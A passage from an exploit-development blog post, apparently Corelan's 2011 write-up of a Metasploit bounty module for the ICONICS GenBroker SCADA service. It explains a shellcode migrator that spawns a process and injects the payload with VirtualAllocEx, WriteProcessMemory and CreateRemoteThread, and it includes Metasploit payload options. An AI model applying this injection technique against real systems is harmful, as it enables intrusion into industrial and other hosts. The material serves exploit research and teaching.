Peter realized we need an entirely different approach to fixing this last (but important) problem. He decided to write a stager that would (hopefully) overcome all shellcode execution \/ heap related issues.<\/p>\n<p>The plan is to place the stager right before the actual shellcode and have it migrate the shellcode into a new process.&nbsp; Since the target (genbroker) runs as a service and does not interact with the desktop, it should be pretty simple to spawn a new process (without triggering an unexpected\/rogue gui application on the desktop) and inject the actual shellcode into it.<\/p>\n<p>This is what the stager does :<\/p>\n<p>First, it finds the base of kernel32.dll, followed by locating the function pointers to the following API's in kernel32 :<\/p>\n<ul>\n<li>getStartupInfo() <\/li>\n<li>Sleep() <\/li>\n<li>CreateProcessA() <\/li>\n<li>VirtualAllocEx() <\/li>\n<li>WriteProcessMemory() <\/li>\n<li>CreateRemoteThread() <\/li>\n<\/ul>\n<p>Next, it gets a pointer to \"calc\", a string placed at the end of the migrator\/stager.<\/p>\n<p>Before creating a new process, the migrator grabs the <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms686331(v=vs.85).aspx\" target=\"_blank\" rel=\"noopener\">startupinfo structure<\/a> from the current process and writes it onto the stack. This will make it easier to create a new process because we can simply reuse it.<\/p>\n<p>Next, the stack is set up with the arguments for CreateProcess() :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">BOOL WINAPI CreateProcess(\n  __in_opt     LPCTSTR lpApplicationName,\n  __inout_opt  LPTSTR lpCommandLine,\n  __in_opt     LPSECURITY_ATTRIBUTES lpProcessAttributes,\n  __in_opt     LPSECURITY_ATTRIBUTES lpThreadAttributes,\n  __in         BOOL bInheritHandles,\n  __in         DWORD dwCreationFlags,\n  __in_opt     LPVOID lpEnvironment,\n  __in_opt     LPCTSTR lpCurrentDirectory,\n  __in         LPSTARTUPINFO lpStartupInfo,\n  __out        LPPROCESS_INFORMATION lpProcessInformation\n);<\/pre>\n<p>The lpCommandLine argument is the pointer to \"calc\", lpStartupInfo is the pointer to the startupinfo structure we grabbed earlier, and lpProcessInformation contains a pointer to the stack (indicating where the CreateProcess() call can write the process information to)<\/p>\n<p>After the call to CreateProcess(), a new childprocess \"calc\" is found running.&nbsp; In order to allow the process to properly initialize, the call is followed by kernel32.Sleep(3000), basically allowing calc.exe to initialize for 3 seconds.&nbsp;&nbsp; This is a bit \"ugly\"... a call to WaitForInputIdle() would have been better, but that API is not part of kernel32 (and loading user32.dll would only make the shellcode larger). Furthermore, the process we are spawning (calc.exe) is small and fast.&nbsp; Simply waiting for 3 seconds should never be an issue.<\/p>\n<p>Next, the handle to the newly created process is retrieved from the ProcessInformation structure that was written onto the stack during the CreateProcess() call.&nbsp;&nbsp; Using that handle, VirtualAllocEx() can allocate some RWX memory inside the newly created process.&nbsp; When this call returns, eax contains the base address of the allocated memory.<\/p>\n<p>Next, the code uses WriteProcessMemory() to copy the shellcode (which is placed right after the migrator code) to the allocated memory in the new process.<\/p>\n<p>Finally, a call to CreateRemoteThread() (again using the process handle and the base address of the allocated memory) will kick off the shellcode inside the new process.<\/p>\n<p>You can find the entire asm routine <a href=\"https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/scada\/iconics_genbroker.rb\" target=\"_blank\" rel=\"noopener\">here<\/a> (start at line 75)<\/p>\n<p>Corelan wouldn't be Corelan if we would not try to make this solution generic, so Peter submitted his migrator as an option to the payload generator routine in Metasploit. If and when it gets accepted (who knows), you should be able to migrate any shellcode into a new process by simply setting some Payload options :<\/p>\n<p>Example :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">'Payload'        =&gt;\n    {\n    'BadChars' =&gt; \"<span style=\"color: #8b0000\">\\x00<\/span>\",\n    'Migrate'  =&gt; 'True',\n    'MigrateOptions' =&gt;\n        {\n            'Delay'    =&gt; 2,\n            'Process' =&gt; \"<span style=\"color: #8b0000\">cmd<\/span>\",\n        },\n    },<\/pre>\n<p>This will generate the migrator and prepend it to the shellcode (before encoding it, if needed).&nbsp; Of course, this will make the total shellcode bigger,&nbsp; but at least it will be reliable and can be used as a last resort in case the current process memory is severely crunched and melted down.<\/p>\n<p>Note that, in order to be able to hide the GUI of the newly created process, you'll have to use a console app (such as cmd.exe, which is the default btw).&nbsp; If your target is running as a service, which does not interact with the desktop, you can use any other process.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2>The final test<\/h2>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image20.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb17.png\" width=\"479\" height=\"124\"><\/a><\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image21.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb18.png\" width=\"456\" height=\"363\"><\/a><\/p>\n<p>&nbsp;<\/p>\n<h2>Woot!<\/h2>\n<p>Mission accomplished !<\/p>\n<p>All in all this was extremely fun and I appreciate the contest Metasploit put together. <\/p>\n<p>I had pushed everything I learned to the limit and in the process managed to learn few new things, and at the end of the day that\u2019s what it\u2019s all about, so I hope you enjoyed this ride as much as we did.<\/p>\n<p>You can find the entire Metasploit module here<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2>Special Thanks<\/h2>\n<ul>\n<li>Luigi Auriemma - for discovering the vulnerability and poc, as well as support <\/li>\n<li>Peter Van Eeckhoutte \u201ccorelanc0d3r\u201d - for co-writing parts of the article and assisting me when all else failed! <\/li>\n<li>HDM - for pointing out the problem with Meterpreter and suggesting to try to fix the heap. <\/li>\n<li>Dillon Beresford - For confirming that Windows XP is the most commonly used target for HMI applications. <\/li>\n<li>sinn3r - For patiently testing the application with me <\/li>\n<li>my wife - For supporting my hobby <\/li>\n<li>and of course Corelan Team - putting up with my antics! <\/li>\n<\/ul>\n<pre><\/pre>\n<p>&nbsp;<\/p>\n<hr>\n","protected":false},"excerpt":{"rendered":"<p>On June 14, 2011  HD Moore announced the Metasploit Bounty contest,  offering a cash incentive for specific vulnerabilities to be submitted as modules in the Metasploit Framework.  Titled \"30 exploits, $5000 in 5 weeks\",  a post on the Rapid7 blog lists the 30 \"bounties\" selected by the MSF team, waiting for someone to claim and submit a working exploit module.<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[245,127],"tags":[3733,3732,2856,2802,2786,2581,2339,2157,2128,2124,2083,1919,1886,1875,1853,1828,1824,285],"class_list":["post-7332","post","type-post","status-publish","format-standard","hentry","category-exploits","category-security","tag-exploit-development-tutorial","tag-heap-exploitation","tag-spray","tag-mona-py","tag-egghunter","tag-iat","tag-rop","tag-peb","tag-immunity-debugger","tag-debugger","tag-unicode","tag-aslr","tag-meterpreter","tag-payload","tag-dep","tag-overflow","tag-metasploit","tag-windbg"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Metasploit Bounty - the Good, the Bad and the Ugly - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Metasploit Bounty - the Good, the Bad and the Ugly - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"On June 14, 2011 HD Moore announced the Metasploit Bounty contest, offering a cash incentive for specific vulnerabilities to be submitted as modules in the Metasploit Framework. Titled &quot;30 exploits, $5000 in 5 weeks&quot;, a post on the Rapid7 blog lists the 30 &quot;bounties&quot; selected by the MSF team, waiting for someone to claim and submit a working exploit module.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2011-07-26T22:05:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb13.png\" \/>\n<meta name=\"author\" content=\"Corelan Team (Lincoln)\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/\"},\"author\":{\"name\":\"Corelan Team (Lincoln)\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/9605d0b07558c7917f492a508df12932\"},\"headline\":\"Metasploit Bounty - the Good, the Bad and the Ugly\",\"datePublished\":\"2011-07-26T22:05:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/\"},\"wordCount\":6383,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2011\\\/07\\\/image_thumb13.png\",\"keywords\":[\"exploit development tutorial\",\"heap exploitation\",\"heapspray\",\"mona.py\",\"egghunter\",\"iat\",\"rop\",\"peb\",\"immunity debugger\",\"debugger\",\"unicode\",\"aslr\",\"meterpreter\",\"payload\",\"dep\",\"overflow\",\"metasploit\",\"windbg\"],\"articleSection\":[\"Exploits\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/\",\"name\":\"Metasploit Bounty - the Good, the Bad and the Ugly - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2011\\\/07\\\/image_thumb13.png\",\"datePublished\":\"2011-07-26T22:05:00+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2011\\\/07\\\/image_thumb13.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2011\\\/07\\\/image_thumb13.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/07\\\/27\\\/metasploit-bounty-the-good-the-bad-and-the-ugly\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Metasploit Bounty &#8211; the Good, the Bad and the Ugly\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/9605d0b07558c7917f492a508df12932\",\"name\":\"Corelan Team (Lincoln)\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x\",\"caption\":\"Corelan Team (Lincoln)\"},\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/lincoln\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Metasploit Bounty - the Good, the Bad and the Ugly - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/","og_locale":"en_US","og_type":"article","og_title":"Metasploit Bounty - the Good, the Bad and the Ugly - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"On June 14, 2011 HD Moore announced the Metasploit Bounty contest, offering a cash incentive for specific vulnerabilities to be submitted as modules in the Metasploit Framework. Titled \"30 exploits, $5000 in 5 weeks\", a post on the Rapid7 blog lists the 30 \"bounties\" selected by the MSF team, waiting for someone to claim and submit a working exploit module.","og_url":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2011-07-26T22:05:00+00:00","og_image":[{"url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb13.png","type":"","width":"","height":""}],"author":"Corelan Team (Lincoln)","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/"},"author":{"name":"Corelan Team (Lincoln)","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/9605d0b07558c7917f492a508df12932"},"headline":"Metasploit Bounty - the Good, the Bad and the Ugly","datePublished":"2011-07-26T22:05:00+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/"},"wordCount":6383,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb13.png","keywords":["exploit development tutorial","heap exploitation","heapspray","mona.py","egghunter","iat","rop","peb","immunity debugger","debugger","unicode","aslr","meterpreter","payload","dep","overflow","metasploit","windbg"],"articleSection":["Exploits","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/","url":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/","name":"Metasploit Bounty - the Good, the Bad and the Ugly - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/#primaryimage"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb13.png","datePublished":"2011-07-26T22:05:00+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/#primaryimage","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb13.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb13.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Metasploit Bounty &#8211; the Good, the Bad and the Ugly"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/9605d0b07558c7917f492a508df12932","name":"Corelan Team (Lincoln)","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x","caption":"Corelan Team (Lincoln)"},"url":"https:\/\/www.corelan.be\/index.php\/author\/lincoln\/"}]}},"views":14330,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/7332","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=7332"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/7332\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=7332"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=7332"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=7332"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}